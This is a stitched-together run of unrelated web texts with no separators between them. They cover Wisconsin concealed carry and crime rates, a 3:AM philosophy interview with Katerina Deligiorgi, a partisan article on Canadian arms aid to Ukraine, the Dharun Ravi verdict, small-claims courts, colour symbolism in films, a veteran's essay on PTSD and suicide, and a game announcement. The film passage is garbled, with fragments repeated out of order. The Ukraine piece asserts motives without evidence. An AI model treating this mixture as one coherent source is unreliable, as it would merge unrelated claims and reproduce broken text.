In the years prior to concealed carry getting passed into law, crime in the state was already trending lower year-after-year. From 2008 to 2011 (the law was enacted at the end of that year), the rate of aggravated assaults where a gun was involved in the incident dropped by 72 percent, from 35.8 incidents per 100,000 citizens to 27.4 incidents per 100,000.
From 2011 onward that rate went back up — dramatically. Aggravated assaults involving a gun went up by 87.3 percent, from the 2011 rate of 27.4 per 100,000 citizens to a rate of 51.3 per 100,000 in 2015.
Overall, from 2008 to 2015 aggravated assaults that involved a gun went up by 43 percent. All of the rise in that rate during that time period, however, can be attributed to the years after the concealed carry law was passed.
Violent crime (in general) in Wisconsin has never been this high since the time records were kept by the FBI. In 2011, when concealed carry was passed, violent crime stood at 236 incidents per 100,000. In 2015, it went up to 305 per 100,000. That’s a 29 percent rate increase in violent crime since concealed carry became law.
Deflating the “it’s only in Milwaukee” argument
There are some who will see these statistics, scoff at them and say, “It’s only in Milwaukee.” Indeed, crime did go up from 2011 to 2015 in our state’s largest city. But making that statement perpetuates the belief that Milwaukee is somehow “cut off” from the rest of the state. Many across Wisconsin simply choose to ignore Milwaukee, and view it as a hindrance, when it’s just as much a part of the state as any other community. The safety of that city should matter to the rest of the state.
But another problem with the “it’s only Milwaukee” statement is that it’s NOT just Milwaukee. Violent crime across non-metropolitan counties has also gone up. From 2011 to 2015 violent crime in these counties went up by 18.8 percent. Murders went up by 172 percent.
In all, from 2011 to 2015 murders in Milwaukee increased by 69 percent. In communities outside of Milwaukee murders went up by 84 percent.
Put another way, for every 10 murders in 2011 that occurred outside of Milwaukee, there were 17 that occurred inside the state’s largest city. In 2015, that gap decreased: for every 10 murders outside of Milwaukee, the number that occurred in the city dropped down to 14.
Concealed carry didn’t deter crime
Following my blog post in July, I was invited to speak on the Joy Cardin show on Wisconsin Public Radio. I reiterated the points I made on my blog at that time:
[Chris] Walker points to 2011, when the concealed carry law was passed. In the three years leading up to 2011, crime was going down, he said. But in the following years, the crime rate starts to go up. “Now, whether that’s a correlation or not is up for debate,” he said. “Whether the rise in crime happened or not, I don’t think is up for debate. I don’t think that we can say that concealed carry succeeded in making us a safer state,” he said.
It’d be unfair to blame concealed carry for the rise in gun crimes or violence overall across the state. A variety of factors unrelated to gun ownership could be in play, and a more comprehensive study is necessary than what I have provided above.
But what we can point out is that concealed carry, as a method of deterrence to crime across the state, was an utter failure. Republican lawmakers promised — and still promise to this day — that concealed carry makes the public safer. Yet we are most definitely not safer in the years following its passage.
As a method for public safety, we need to consider options other than concealed carry. Calls from some Republican lawmakers to loosen gun laws even more (around K-12 schools and college campuses in particular) are wrong-headed, and won’t provide safety to the areas they intend to.
Real reform is needed, and the answer can’t just be to arm the public. That reform has failed to keep us safe.
Chris Walker writes a blog at http://political-heat.blogspot.comKaterina Deligiorgi interviewed by Richard Marshall.
Katerina Deligiorgi is a top Hegelian philosopher. She is a top Kantian philosopher. She philosophises on history, on art history, on creativity, on literature, on the Enlightenment and what it means today. And what it meant back in the day. And how it has things to say about education. She wonders about action and how we intend to do things. She wonders about morality and autonomy and has a podcast on the theoretical challenges from cosmetic neurology. She has written a cutting edge book on Kant and the Culture of Enlightenment, and edited a book on Hegel: Hegel: New Directions. She has a new book coming out in June, The Scope of Autonomy: Kant and the Morality of Freedom which will dazzle us. She hasn’t burned her armchair like Josh Knobe, but is still a groove sensation.
3:AM: How did you become a philosopher? Was it something that was predictable to anyone who’d known you from the start or was it something that was a gradual evolution?
Katerina Deligiorgi: I was a bookish child in a bookish home, but the bits of philosophy I came across I did not recognise as such (Rousseau, Plato, a volume on Aristotle on nature full of weird and wonderful stuff). The first time I read something that called itself philosophy, a short dictionary of philosophy, I found it terrifically boring and resolved never to have anything to do with this.
3:AM: You are best known for your work on Hegel and Kant. So let’s begin with Kant. You begin your 2005 book Kant and the Culture of Enlightenment with the claim that Kant can be read as an interpretation of a particular Enlightenment project. As early as 1783 Johann Friedrich Zollner was asking, ‘what is the enlightenment?’ and commenting. “This question which is almost as important as what is truth, should be answered before one begins to enlighten. And yet I have never found it answered.” So how have you answered Zollner’s question?
KD: There was, and still is, a lot of sloganising about ‘enlightenment’ as an idea. Today we hear glib pronouncements about critical thinking or freedom of expression, back in the 18th century about generic improvements to our lot. One of the reasons I wrote the book was to communicate the complexity, difficulty and fragility of some of these ideas.
Kant himself of course did give ‘enlightenment’ a famous motto ‘dare to be wise’ and defined it as ‘exit from self-incurred immaturity’ but these are far from straightforward. This is why: ‘enlightenment’ is both a project that is ongoing and the aim of the project. This already opens up a terrific amount of complication, before even venturing onto political, legal, and empirical matters.
Speaking of the project, one needs to specify the principles that guide it, the commitments it requires, the conditions under which it can be undertaken. Speaking of enlightenment as an end or aim one needs to show why it might be worth-pursuing and so describe something that is recognizable as a value.
Starting from the end then, my answer is this: enlightenment describes the value of rational autonomy, ‘autonomy’ in this context is not a moral notion, it describes an aspiration regarding the exercise of our reason. ‘Our’ refers to all and to each. This in turn yields the principles, inclusion and publicity, that guide the project. Enlightenment as a project describes the public use of reason. But to say this is merely to scratch the surface because, as I mentioned earlier, these ideas are not stand alone, they sustain and are sustained by commitments, practices, and so forth, in short, a culture that embraces and promotes the value of rational autonomy.
3:AM: You argue that the Enlightenment is still a live issue. You cite Foucault who claimed, rather like yourself, that the ‘event that is called Aufklarung… has determined, at least in part, what we are, what we think, and what we do today?’ You call the Enlightenment ‘Janus faced.’ And you want to engage with the Enlightenment without being in historical bad faith. So can you tell us about these issues and how you approach them?
KD: This question is about the Enlightenment, as opposed to enlightenment, that is, about a period in European history in which the concept of enlightenment became current and its meaning intensely debated, at least in the German intellectual scene. Out of this debate emerges the concept I set out briefly in the previous answer. As I try to show in the book this does not boil down to have a critical attitude, which is what I think Foucault advises in his own writings. In fact, my take on enlightenment goes against this subjectivisation or perhaps better, privatisation of enlightenment.
The Janus face metaphor is intended to convey that the concept is forward looking since it describes a project and a goal, but it also has a past, a history of debate, of right and wrong turns, that must inform our current views of it.
3:AM: So according to your approach, Kant sets up a tribunal of enlightenment to put enlightenment on trial? Can you say what you mean by this?
KD: In the German debate about the meaning of the enlightenment, there was a lot of what I called earlier sloganising, including unsupported claims about the good things that would come out of this project, movement, cast of mind (it was different things to different people). There was also a lot of anxiety about its corrosive aspects. Often Kant comes to debates that are polarised and changes them by altering the way in which the problem is set. In this case, there is a ‘rationalist’ sense in which enlightenment means reason’s shining forth to illuminate all our practices and to guarantee progress; conservative critics pointed out that this shining forth is an intellectualist fantasy that has nothing to do with the condition in which most people find themselves and is likely to destroy values embedded in traditions. There is also an ‘empiricist’ sense that sees open discussion as best means for advancing our affairs, to which the counter-argument is that the cost benefit analysis here is rigged.
So enlightenment appears on the tribunal in pretty bad shape, accused of both dogmatism and scepticism. Kant rescues it by identifying its legitimacy as residing in the critical employment of our reason and this last as expressing a value of autonomy. This value has normative features, rules by which it can be realised, so there is a structure to rational autonomy; it is not a free for all. Although he too appeals to reason, this is not a facility we have on tap, it is a how not a what. But the how, which is just the normative features I just mentioned the principles of enlightenment, gives us access to something like a what, that is, they give us a normative handle on reason.
3:AM: You link Kant with Rawls and Habermas, although point to several important differences and distinctions. Can you give us the geography of this terrain?
KD: That would take a long while. Also it is a task made difficult by the fact that both Rawls and Habermas have shifted their positions over time. Very basically, there is one point of contact and two points of departure from Rawls. The contact is with his early work, the Rawlsian bit, not what he calls Kantian constructivism: the way in which justice as fairness both makes explicit certain conditions of a just society and does so by asking us not to make an exception for ourselves when we guide our reflection on these conditions. The points of departure is his substantive reading of public reason, in the Political Liberalism, and the emphasis on reason’s capacities for self-authentication in his Lectures on the History of Moral Philosophy.
With Habermas again the point of contact is his early work on Knowledge and Human Interests, which I read as considerably more Kantian than he acknowledges, and the points of departure is his own interpretation of the public sphere, in his Structural Transformation of the Public Sphere, which is a socio-historical analysis with Arendtian features, his attempt to make pragmatic sense of certain commitments that I think are more plausibly viewed as expressing a priori concepts (his now relinquished commitment to consensus is just one instance of this pragmatic turn).
3:AM: A key issue is whether his notion of rational autonomy is possible? Your new book, coming out soon, The Scope of Autonomy: Kant and the Morality of Freedom, examines the idea of personal autonomy. You examine what this means in terms of morality, practical rationality and agency. Kant is famous for arguing that we should think of people as ends in themselves. This is important to you because your view of Kant is one that insists that autonomy should not be thought of just in terms of oneself but also extends to others. Can you explain how this argument works?
KD: The new book starts with a question that I found increasingly pressing: why should we think of autonomy as a moral ideal? I can think of a whole bunch of so-called ‘thick’ moral concepts and understand why they are moral and why one might value them as such, kindness say. I can think also of the so-called thin ones, the right and the good, and equally understand their moral appeal and indeed indispensability to our judgments. On the other side, I can see the personal appeal of autonomy, the attraction of being self-directed, of being one’s own master so to speak, and also its metaphysical attraction, the idea that my actions being up to me enters in important ways to moral discussions downstream, i.e. at the level of ascribing blame and praise to each other. But the morality of autonomy was not obvious to me, at least, not if we stay within the bounds of the contemporary discussion.
Things change in interesting ways if we look to Kant for help. The question that starts Kant onto the path that concludes with the formulation of autonomy is about objectivity in ethics. It is unsurprising then that he did not conceive of autonomy as primarily a self-relation, a relation to the heautos. Rather it is a relation to others shaped by the idea of nomos, law. The moral content of autonomy is given by the demand that one think of oneself in relation to others under a shared law. The book is then an attempt to show both what this means, but also, and that is its main focus what it takes to be able to say this, what kind of cognitive and psychological abilities we need to have to be autonomous in the requisite sense and what metaphysical commitments the theory has to sustain this notion of autonomy.
3:AM: In terms of the challenge that a philosophical naturalist might put to Kant, how would you defend Kant from producing a scheme that bears no relationship to how people actually are. In particular, a naturalist might argue with Nietzsche that there is no freewill, our motivations and drives are not self transparent and we are not all the same. Brian Leiter accuses the rational moral agency of Kant of being an ‘above the fray’ morality. It is a wonderful ideal fantasy, and survives in pristine state even if it applies literally to no actual living human, ever! Leiter just considers that we can’t be guided by such a fantasy. Would you defend Kant, and if so, what would you say to this and other similar challenges from naturalist philosophy?
KD: That’s exactly the kind of criticism that motivated my interpretation. I fully share Leiter’s view, the Kantian rational agent is sometimes presented as a super-human creature, the sort Murdoch likened to Lucifer himself, sometimes as a senior civil servant, obeying reason and implementing its orders efficiently and priggishly. And this is just the positive picture! I think I answered before why it is wrong. But I want to add that this sort of alienated fantasy is not just available to misguided Kantians, naturalists are perfectly able to fall in under its spell either in their disabusing mode or in full on utilitarian mode. I couldn’t possibly comment on Nietzschean versions of naturalism.
3:AM: Hegel is notoriously difficult, not only in the sense that his writing is obscure – I think, but maybe you don’t – but also because there’s uncertainty about the nature of his achievement. Pinkard says that he is the thinker ‘with the best and the worst reputation.’ I think you say that the difficulty is largely to do with the battle between conservative and radical disciples fighting over his legacy. Can you say something about this?
KD: Pinkard has done a tremendous job making Hegel less obscure whilst showing why the difficulty is there. One issue that is and remains unresolved is the religious and perhaps also theological dimension of Hegel’s thought. By this I do not mean what Hegel himself believed or whether one needs to be a believer to be a Hegelian. I mean the following: religion as practice and form of thought (‘picture-thinking’) is both recognised as important and as something to be put behind us, when we reach purely conceptual thinking. Arguably this is what Hegel himself does when he translates into philosophical and metaphysical commitments ideas that have a home in a certain tradition of Christianity. But then you can follow this through and say pretty similar things about Marx, who in a sense sought to ‘materialise’ the metaphysics by placing emphasis on what he considered to be the more solid foundations of economic analysis.
So from the previous vignette what conclusion is one to draw: is religion important or not? Answering this one way or another already sets the different interpretative hares running: the conservatism of the ties that bind, like Oakshott‘s, or the pragmatic liberalism of self-determination of someone like Pippin, or pained anti-utopianism, like Adorno’s. I do not think that fighting over someone’s legacy is a tremendously fruitful activity. Those I mention here did something much more interesting, they shaped a new position, rooted in Hegel but going beyond Hegel.
3:AM: You understand Hegel in terms of his dissatisfaction with Kant’s division of labour between theoretical and practical philosophy. Can you say what this dissatisfaction was and how Hegel went about overcoming this perceived problem. He predicted a revolution on the basis of his reading of Kant – you cite a letter to Schelling in April 1795 where he writes ‘humanity is represented as worthy of respect in itself; this is proof that the nimbus surrounding the heads of the oppressors and the earthly gods is disappearing. The philosophers have expounded human dignity, the people will learn to experience it; they shall not content themselves with merely claiming their rights, which are trampled in the dust, they will appropriate them for themselves.’ It’s inspiring stuff. Is the shift from claiming to appropriating the shift Hegel makes in respect to Kant?
KD: I love that quote from the letter to Schelling. Generally, I must confess that I find genuinely affecting the rhetoric of re-discovered humanism that animates some of Kant’s and also Schiller’s writings and which fired up Hegel in his youth. There is an unappealing Promethean element in some of its reception that obscures the profound awareness of our finitude and the modesty in Kant’s thought. Some read Hegel as Promethean in this fashion.
I disagree, I think there is a common thread that finds expression in what can be called Hegel’s version of modesty, namely the thought that appropriating our rights as he puts it in this letter requires recognition of structures we did not create as individuals but which are necessary in order for us to realise our rights. This does lead to a rather different moral landscape to the one we find in Kant. In seeking to strengthen the intersubjective elements of Kantian autonomy, he develops a fully contextual theory of the evaluation of actions that tends to erase the specificity of morality by leaving unsupported its claim that its imperatives are categorical; to put it somewhat polemically, the theory’s gains in terms of social and historical specificity come at the cost of absorbing morality into social etiquette.
3:AM: In terms of moral theory, there’s a distinction between Hegel and Kant that you bring out through your analysis of Kant’s and Hegel’s interpretation of ‘the Fall’. Can you explain the difference between their approaches.
KD: What interests me more in their take on the Fall is what unites rather than what separates them, and what unites them is an attempt to describe and defend a certain notion of a moral telos for human beings. Now the proviso here is that for Hegel this is moral in the expanded sense of sittlich, that is, of a morality that has become a form of life to which we are suitably acculturated.
The reason for looking at this issue is that the idea of a telos has been largely ignored by those who do not work in Aristotelean or neo-Aristotelean moral philosophy. Not only this, but it is seen by some as fundamentally in competition with moralities of autonomy or, if you prefer a more historical reference, what Pippin calls the modern project.
3:AM: Can you say something about whether you think Hegel can still be a relevant voice in contemporary philosophy? I think you suggest that McDowell and Anscombe in particular are philosophers who are directly or at least interestingly linked to Hegelianism, in discussions about the relationship of mind and world and intentional action? And they would perhaps also be important to your idea of autonomy that you discuss in your forthcoming book on Kant too. Can you say something about this?
KD: Action theory is an area to which I am increasingly attracted and in which I hope to contribute. The relation between mind and world is exactly at the heart of it. I had a go at showing in an earlier essay how Hegel can be seen as criticising the notion of ‘agency’ as a needless hypostatisation of what agents do, agents can be all sorts, not just human individuals and actions they perform are anything from moving one’s limbs about to doing mental arithmetic. Becoming obsessed with ‘agency’ and then trying to pinpoint its exact nature, mental characteristics and the like is for Hegel a fantastical enterprise. This is just therapy though. The positive story needs a lot of work and it is work that involves ideas from Kant, as well as Hegel, and Aristotle. I hope to be doing some of this in the context of my Reach of Reasons project.
3:AM: You’ve written about aesthetic value. My question is a general one: do you think that aesthetic appreciation is best resourced by an engagement with the categories of the enlightenment tradition?
KD: I would not say ‘best resourced’ I would say necessarily or at the very least usefully resourced to the extent that the thinkers of that period bequeathed us central concepts in the debate about aesthetic value, including the notion of ‘aesthetic’ as something that is in need of demarcation. But recent discussion of aesthetic value, and germane discussions about aesthetic value and beauty, ethics and aesthetics, and aesthetic autonomy in the analytic tradition have contributed intellectual resources it would be foolish to ignore. I hope to return to this topic and treat it more systematically in the near future.
3:AM: One of the things that is refreshing about your approach is that it is clearly written and eschews the obscurities and stylistic infelicities of some commentators discussing these issues. There has been much discussion about the so-called distinction between continental and analytic traditions in philosophy. Do you agree that it’s an unhelpful distinction?
KD: I am so glad you think I write clearly: this is certainly my aim. I detest jargon. I also think, with Aquinas, we have a duty not to bore our audience. However, as Aquinas knew well (and if not he, his readers), technical distinctions cannot be avoided. Some ideas just are complicated and sometimes the analysis and defence of something quite straightforward leads to unexpectedly deep waters. But this is different from adopting depth as some sort of goal, to my mind this produces risible or exasperating results. In short the ways of avoiding thinking are myriad and manifold. And they affect both the traditions you mention and also feed the animus of the debate about this distinction. Pragmatically and as a prompt for thinking, I do not find the distinction unhelpful. As a principled distinction I do find it unhelpful. But it is an instance only of a very wide-spread phenomenon that has its roots to the way we experience our own limitations: when we reach limits to understanding a position or a behaviour, we generally have difficulty just accepting this and moving on (for what I think deep important philosophical reasons). Pure bafflement of this sort is rare. Usually we have the suspicion that the others are profoundly misguided.
3:AM: You’re also a woman working in philosophy and again, there has been much discussion about how poor academic philosophy has treated women. Clearly you are a success, but is this an issue that you think is important and have you any thoughts about what can be done?
KD: Philosophy at Sussex is somewhat an exception, with women well-represented and a thriving women in philosophy student group; in fact, we were recognised as women-friendly back in 2007. But to the more important, general point you raise, I would like to draw the attention of your readers to a fascinating study commissioned by the British Philosophical Association and the Society for Women in Philosophy [PDF], published in September 2011.
3:AM: And finally if you were to recommend your top five books that we sassy crowd at 3:AM should be reading, what would you suggest?
KD: I will sidestep this question, I do not have a top five, but there are some books that for one reason or another I found myself consulting recently, years after the original lecture, and then found myself absorbed: John McDowell’s Mind, Value and Reality, a great collection of essays. From an earlier period of analytic philosophy, Bernard Williams’s Moral Luck, Thomas Nagel’s Mortal Questions, Nelson Goodman’s Ways of Worldmaking. We are having a reading group at Sussex on G.E.M. Anscombe’s Intention, if you fancy some hard work, this very slim volume is recommended.
ABOUT THE AUTHOR
Richard Marshall is still biding his time.If military aid to Kiev increases, then the situation in Eastern Europe will become more heated – with the US and Canada promising to control the situation in Ukraine and Eastern Europe.
Ottawa has included Ukraine in the list of countries where from December 13, the supply of Canadian lethal weapons has become legal.
In fact, Canada creates a dangerous precedent, denies the essence of the Minsk accords and becoming one of the sides of the intra-Ukrainian conflict. The implementation of these plans may cause an escalation of the conflict in the Donbass.
By strange coincidence, the United States on the same day accused Russia of shelling civilians in eastern Ukraine, although State Department spokesman Heather Nauert did not show any evidence of these events.
Earlier, Canadian Prime Minister Justin Trudeau said that Canada will continue to help Ukraine “defend its sovereignty” – 200 Canadian military instructors will continue training the soldiers and officers of the Armed Forces in the Yavoriv area in the Lviv region until March 2019. Canadian Defense Minister Kharjit Sadzhan spoke about plans to build a factory in Ukraine for the production of ammunition.
Investors need war, and member of the North Atlantic alliance Canada is most definitely pushing Ukraine toward militarization and unleashing large-scale military operations on the border with Russia.
Figures and Facts
The military industry of Canada is based on the aerospace, radio-electronic and shipbuilding industries, which are dependent on the United States.
High-tech military equipment is acquired from the US and Western European countries (for example, 80 Leopard 2A4 tanks were purchased in the Netherlands in 2008). The only production in Canada of armored combat vehicles is the property of the American company General Motors.
The Canadian army is equipped with licensed automatic rifles C2 and C1 – analogues of the American M16 (caliber 5.56 mm), modifications of the British automaton of the Sterling system and the Belgian machine gun FN MAG (caliber 7.62 mm).
Canada produces for itself ammunition for small arms and artillery, but can only export a modest 10 percent of its output in this spectrum. Cartridges of calibers 5.56, 7.62 and 9 mm, caliber 20-105 mm, sea, antipersonnel and antitank mines, various bombs, powder charges for the 155 mm self-propelled howitzer M109 guns are produced by the company Kanedien Arsenals (annual cost output of about 100 million dollars).
It is obvious that to build an ammunition plant in Ukraine and to provide the APU with automatic rifles C2 and C1, Canada will be able to do only with the help of the USA, since it is a question of high-tech (licensed) production, and hundreds of thousands of small arms.
Coincidentally, in January 2017, Ukroboronprom signed an agreement with the American company Aeroscraft on the mass production of the M16 rifle on the Ukrainian territory. The role of Canada is just a small detraction from the usual suspect.
The American defense support of Ukraine for 2018 is 350 million dollars – twice as much as in 2017. Probably, this is only the visible part of the financing directed at the rearmament of the APU.
Deliveries of lethal weapons to Ukraine directly from the United States are a violation of the Minsk agreements – but Washington is able to covertly manage the cash flows and resources of NATO partners – it is very convenient, as it causes fewer questions by the world community.
Dozens of countries are included in the American weapons schemes. Recently, we reported on the role of Lithuania. Earlier, Britain, Poland and the United Arab Emirates were mentioned among the arms suppliers for Ukraine. It is known that Japan donated $ 1.85 billion to strengthen the Armed Forces, Saudi Arabia – $ 40 million to develop and produce Ukrainian cruise missiles.
The prospects are quite transparent: if military aid to Kiev grows, then the situation in Eastern Europe will become proportionally more heated. Infinite armament of Ukraine sooner or later initiates a large-scale military conflict that will extend beyond Europe.
US actions are encouraging Kiev, inspiring hope for a military victory. For Russia, this is an extremely irresponsible tactic. Over the decades of of failure in Middle East, the Pentagon and NATO have not learned anything. While Ukrainians themselves are manipulated to believe they are anything more than pawns in wider geopolitical gains.
Ukraine needs dozens of billions of investments for the economy, and not stockpiles of weapons which will devastate Europe – but the United States, as always, remains insulated by the Atlantic Ocean.
In an ideal world – there should not be NATO troops on Ukrainian territory, Global Strike and ABM systems should not be deployed in Bulgaria, Romania or Poland. The non-aligned status of Ukraine is the best choice for Brussels, Washington, Ottawa and Kiev.
Translated by Inessa SinchougovaAfter listening to arguments for weeks, the jury in the case against Dharun Ravi (also known as the Rutgers Spycam case) has reached a verdict.
According to the New York Times, the jury found him guilty of bias intimidation, invasion of privacy and tampering with evidence.
More specifically, ABC news reports:
"Ravi, who faces 10 years in prison and deportation to India, was was found not guilty of some of the 15 counts of bias intimidation, attempted invasion of privacy, and attempted bias intimidation, but was found guilty of the majority of crimes."
Essentially that means there were multiple counts (and even subcounts) of some of the charges. So, for example, Ravi was found guily on some counts of bias intimidation and not others.
The complication is merited because case is a delicate one. Last year, Ravi's roommate, Tyler Clementi, jumped off of the George Washington Bridge and killed himself shortly after Ravi filmed him engaging in a sexual act with an older man.
The question here isn't whether or not Clementi killed himself because Ravi filmed him. The question is whether or not Ravi filmed Clementi because he is homophobic. That is what makes him guilty of bias intimidation, the most serious offense of all his charges. It could lead to up to ten years in prison.
The tampering charge was included because Ravi tried to change texts and tweets he sent encouraging people to watch the videos of Clemenit that he had recorded.
From the NYT:
Mr. Ravi's lawyers argued that he was "a kid" with little experience of homosexuality who had stumbled into a situation that scared him. M.B., who was 30 at the time, had made him nervous, the lawyers argued, so he set up his webcam to keep an eye on his belongings. Mr. Ravi, they argued, was being sarcastic when he had sent messages daring friends to connect to his webcam, or declaring that he was having a "viewing party."
But prosecutors argued that his frequent messages mentioning Mr. Clementi's sexuality proved that Mr. Ravi was upset about having a gay roommate from the minute he discovered it through a computer search several weeks before they arrived at Rutgers in fall 2010.For the Australian series of television movies, see Small Claims (TV film)
Small-claims courts have limited jurisdiction to hear civil cases between private litigants. Courts authorized to try small claims may also have other judicial functions, and go by different names in different jurisdictions. For example, it may be known as a county or magistrate's court. These courts can be found in Australia, Brazil, Canada, England and Wales, Hong Kong, Ireland, Israel, New Zealand, Philippines, Scotland, Singapore, South Africa and the United States.
Purpose and operation [ edit ]
The jurisdiction of small-claims courts typically encompasses private disputes that do not involve large amounts of money. The routine collection of small debts forms a large portion of the cases brought to small-claims courts, as well as evictions and other disputes between landlords and tenants, unless the jurisdiction is already covered by a tenancy board.
A small-claims court generally has a maximum monetary limit to the amount of judgments it can award, often in the thousands of dollars/pounds. By suing in a small-claims court, the plaintiff typically waives any right to claim more than the court can award. The plaintiff may or may not be allowed to reduce a claim to fit the requirements of this venue. 'Court shopping'—where a plaintiff reduces the damage claim amount to have a trial in a court that otherwise does not have jurisdiction—is strictly forbidden in some states[vague]. For example, if a plaintiff asserts damages of $30,000 in hopes of winning an award of $25,000 in small-claims court, the court dismisses the case because the court does not have jurisdiction to hear cases in which asserted damages exceed the court's maximum amount.
Thus, even if the plaintiff is willing to accept less than the full amount, the case cannot be brought to small-claims court. To bring the case to small-claims court, the plaintiff must prove that actual damages are within the court's jurisdiction. In some jurisdictions, a party who loses in a small-claims court is entitled to a trial de novo in a court of more general jurisdiction and with more formal procedures.
The rules of civil procedure, and sometimes of evidence, are typically altered and simplified to make the procedures economical. A usual guiding principle in these courts is that individuals ought to be able to conduct their own cases and represent themselves without a lawyer. Rules are relaxed but still apply to some degree. In some jurisdictions, corporations must still be represented by a lawyer in small-claims court. Expensive court procedures such as interrogatories and depositions are usually not allowed in small-claims court, and practically all matters filed in small-claims court are set for trial. Under some court rules, should the defendant not show up at trial and not have requested a postponement, a default judgment may be entered in favour of the plaintiff.
Trial by jury is seldom or never conducted in small-claims courts; it is typically excluded by the statute establishing the court. Similarly, equitable remedies such as injunctions, including protective orders, are seldom available from small-claims courts.
Separate family courts may exist to hear simple cases in family law. For reasons having more to do with history than with the sort of case typically heard by a small-claims court, most US states do not allow domestic relations disputes in small-claims court.
Winning in small-claims court does not automatically ensure payment in recompense of a plaintiff's damages. This may be relatively easy, in the case of a dispute against an insured party, or extremely difficult, in the case of an uncooperative, transient, or indigent defendant. The judgment may be collected through wage garnishment and liens.
Most courts encourage parties with disputes to seek alternative dispute resolution, if possible, before filing suit. For example, the Superior Court of California, Santa Clara provides guidelines for resolving disputes out of court. Both parties can agree on arbitration by a third party to settle their dispute outside of court, though while small-claims court judgments can still be appealed,[1] arbitration awards cannot.
History [ edit ]
The Mayor's and City of London Court is the successor to the several medieval courts in the City of London, one being the Court of Conscience for recovery of small debts. This was a type of equity court. A similar Court of Conscience was established by charter in some ancient boroughs in Ireland; this was emulated in others, without legal sanction until regularised by the Municipal Corporations (Ireland) Act 1840.[2][3][4]
Around the globe [ edit ]
Australia [ edit ]
Small claims are handled differently by each state and territory, with most relying on tribunals while others have a minor claims division of their respective magistrates court |
out someone to whom Desmond is supposed to pay attention. The Woman in Red's purpose was to point out the artificiality of the environment to Neo.
, as one character is explaining the nature of existence. Similarly, there is a suspicious element of artificiality to the red shoes marking out someone to whom Desmond is supposed to pay attention. The Woman in Red's purpose was to point out the artificiality of the environment to Neo. In the movie Schindler's List (a black-and-white movie), color only appears twice. The first instance is a little girl running in the ghetto during a Nazi raid, wearing red. She appears again later in the movie as a corpse, after being dug up by the Nazis to be burned, wearing the little red coat.
(a black-and-white movie), color only appears twice. The first instance is a little girl running in the ghetto during a Nazi raid, wearing red. She appears again later in the movie as a corpse, after being dug up by the Nazis to be burned, wearing the little red coat. In The Sixth Sense, the color red appears when the world of the living and the world of the dead cross over.
, the color red appears when the world of the living and the world of the dead cross over. In Stir of Echoes, the color red appears to warn the main character that his young son is in danger.
, the color red appears to warn the main character that his young son is in danger. In the film Sin City, the color red is also significant and appears when a character is going to die.
Unanswered questions
How did Eloise Hawking know that he was supposed to die?<i>Gena Smith is a combat veteran of Iraq, and suffers from both PTSD and MST (Military Sexual Trauma). She’s a veteran advocate who volunteers for VETWOW, Veteran Women Organizing Women, which has over 3,000 members and nearly all are victims of MST. As the war on terror pushes through a second decade, it’s becoming tragically clear that for many veterans, the only way to deal with MST or combat PTSD is suicide.</i>
As news spread recently that Air Force veteran Jamie Brunette had committed suicide, her family began grasping for answers, as many families do when a love one takes their own life. The family suspected she had been victim to MST while serving in Afghanistan, but there was no proof and Jamie had never talked about it.
Twenty-two suicides a day. Almost one every hour of every day. Veterans dying by their own hand because no one is helping, and no one cares enough to put an end to this nightmare.
I am a combat veteran, and I want to explain some things to those who don’t understand the scope of the problem.
Jamie Brunette was strikingly attractive and destined to achieve her dreams. Friends and family said the 30-year-old from Florida was full of life and had a loving spirit. Success was easy for Jaime, yet she was humble, said the family. Then she was ordered to Afghanistan – twice.
While Jamie may not be a victim of MST, her family said she was receiving therapy for Post Traumatic Stress Disorder or combat PTSD, which once again has risen from hell following an American war, and apparently this harsh reality for so many hasn’t sunk in with Congress or the White House as we dangerously dance with Iran.
When we come back from war we aren’t the same people that our families loved so much. We’re not the same; no matter how attractive we are or how much money we have, or how popular we are or how determined for success.
We come back and we are afraid because we were transformed into monsters so to kill our enemies. We come back and are deeply ashamed to have survived when our friends did not.
We changed at some point during the war. A seismic shift mentally, but something we hardly noticed. Until we come home, and everything is different. The world has moved on without us, and we have to catch up.
Back in the combat zone we left behind a life that remembers when the world was safe and good. When no one wanted to kill us and we weren’t required to kill anyone, or bear witness to our friends being blown to pieces or shot.
The VA, whose task it is to save us from this epidemic of suicide and fear and self loathing, is a bureaucracy. The second largest bureaucracy in the nation behind the IRS. There are endless forms to be filled out for any simple thing. And after we’ve waded through a mountain of paperwork and waited sometimes years for the VA to determine whether they will even treat us, it’s sometimes too late. Bureaucracy is an uncaring, unfeeling monster.
In the meantime we are ravaged by confusing and terrifying symptoms. Panic attacks strike for no reason. Anger explodes from us without pity or conscious intent. We struggle with regular nightmares and insomnia. There's an inability to feel we are even real people and an inability to feel that the world around us is real. Memories we can’t escape intrude on our every waking moment. Perhaps the worst symptom of PTSD is the soul crushing depression and the desire to do anything to make the pain stop.
If a veteran survives the long wait it takes to be diagnosed by the VA, we then face the daunting task of dealing with the VA healthcare system. Psychiatrists will prescribe medicines, of which many make us feel worse, and keep prescribing medicines until they find the nearly mythical correct combination of medications and correct dosages.
Sometimes therapists make us relive the hell that we survived. The therapy is exhausting and even if successful may only somewhat alleviate our symptoms for a short period of time.
In the meantime, our families are trying to adjust to this crazy person wearing the skin of a person they used to know. They try to give us hope, but they don’t know that hope is something we left behind. They try to help us cope; while they try to cope with the damage we have wrought on their lives.
Far too many of us turn to drugs or alcohol to give us even a moment’s respite from the ugliness inside our minds. But of course drugs and alcohol often contribute to the rate of suicide. We begin to distance ourselves from those we love because we want to save them from the monster we have become.
Post Traumatic Stress Disorder isn’t an accurate description of what myself and thousands of other veterans suffer from. It implies that the trauma is over. But the trauma is refreshed and renewed every day, and we run out of energy to fight it. We are tired. Weary all the way to our souls.
We offered you our lives when we raised our right hands, and we did our part. So when we find no mercy or compassion in this world we have returned to, many of us choose to end our lives because we have no hope our sacrifice will ever end.
Every day we live with PTSD is an extension of the oath we swore to protect the American people with everything we have, including our lives. When the pain becomes so unbearable that we choose to die, it is because the government of the people, by the people and for the people, has failed to keep its promises. We failed Jamie Brunette.
And no one is held accountable. It is always someone else’s problem to fix. So it doesn’t get fixed. I beg you, please. It may not be your job to fix it, but for the sake of everything you hold dear, try to help us in some way. Just remaining aware of how bad this situation is, and how worse it could get as the drums of war rumble once more, is a good place to start.Dead or Alive Xtreme 3 Will Have Pole Dancing, Here’s Its First Screenshot
By Sato. February 16, 2016. 4:30am
Pole dancing was featured in Dead or Alive Xtreme 2 and Koei Tecmo revealed in this week’s issue of Famitsu magazine that it’s making a return in the Dead or Alive Xtreme 3.
In addition to the top Ayane image that gives us a first look at Dead or Alive Xtreme 3’s pole dancing feature, we get another teaser from this week’s magazine issue, meaning we’ll likely see more screenshots and a trailer in the near future.
